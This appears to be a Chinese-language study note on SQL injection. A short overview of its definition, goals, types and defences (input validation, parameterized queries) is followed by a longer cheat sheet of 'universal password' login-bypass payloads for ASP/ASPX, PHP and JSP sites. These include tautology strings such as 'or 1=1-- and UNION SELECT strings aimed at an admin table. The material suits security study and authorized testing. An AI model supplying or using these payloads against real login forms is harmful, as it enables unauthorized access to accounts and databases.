定义
SQL注入:可执行的恶意SQL语句的注入攻击
目的
1、控制网站背后的数据服务
2、绕过已有的安全措施
3、绕过网站的身份认证和授权访问来访问数据
4、对数据进行增加、修改和删除
分类
1、带内SQL注入(使用数据库错误或者UNION指令)
2、盲目SQL注入
3、带外SQL注入
防御措施
1、验证输入
2、参数化查询
参数化查询:与数据库连接并建立访问数据时,在需要填入数值或数据的地方使用参数来给值。由此数据库服务器就不会将输入的内容作为SQL指令执行,而是在数据库完成SQL语句的编译后,再代入参数,因此那些恶意的指令在编译后,就不会执行了
万能密码
在SQL注入的漏洞测试中,通常就像想到的就是利用万能密码进行测试
万能密码:当在username或者password处输入了万能密码,那么password或者username不论在输入什么,返回的都是第一串数据
常见万能密码
ASP/ASPX 万能密码
"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00
"or 1=1%00
'xor
用户名 ' Union Select 1,1,1 FROM admin Where ''=' (替换表名admin)
密码 1
admin' or'a'='a 密码随便
新型万能登陆密码
用户名 :‘ UNION Select 1,1,1 FROM admin Where ”=’ 【替换表名admin】
密码: 1
Username=-1%cf’ union select 1,1,1 as password,1,1,1 %23
Password=1
PHP万能密码
admin'/*
密码*/':
‘or’=’or’
‘or 1=1/* 【字符型 GPC是否开都可以使用】
User: something
Pass: ‘ OR ‘1’=’1
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*
用户名:admin 【系统存在这个用户的时候 才用得上】
密码:1’or’1’=’1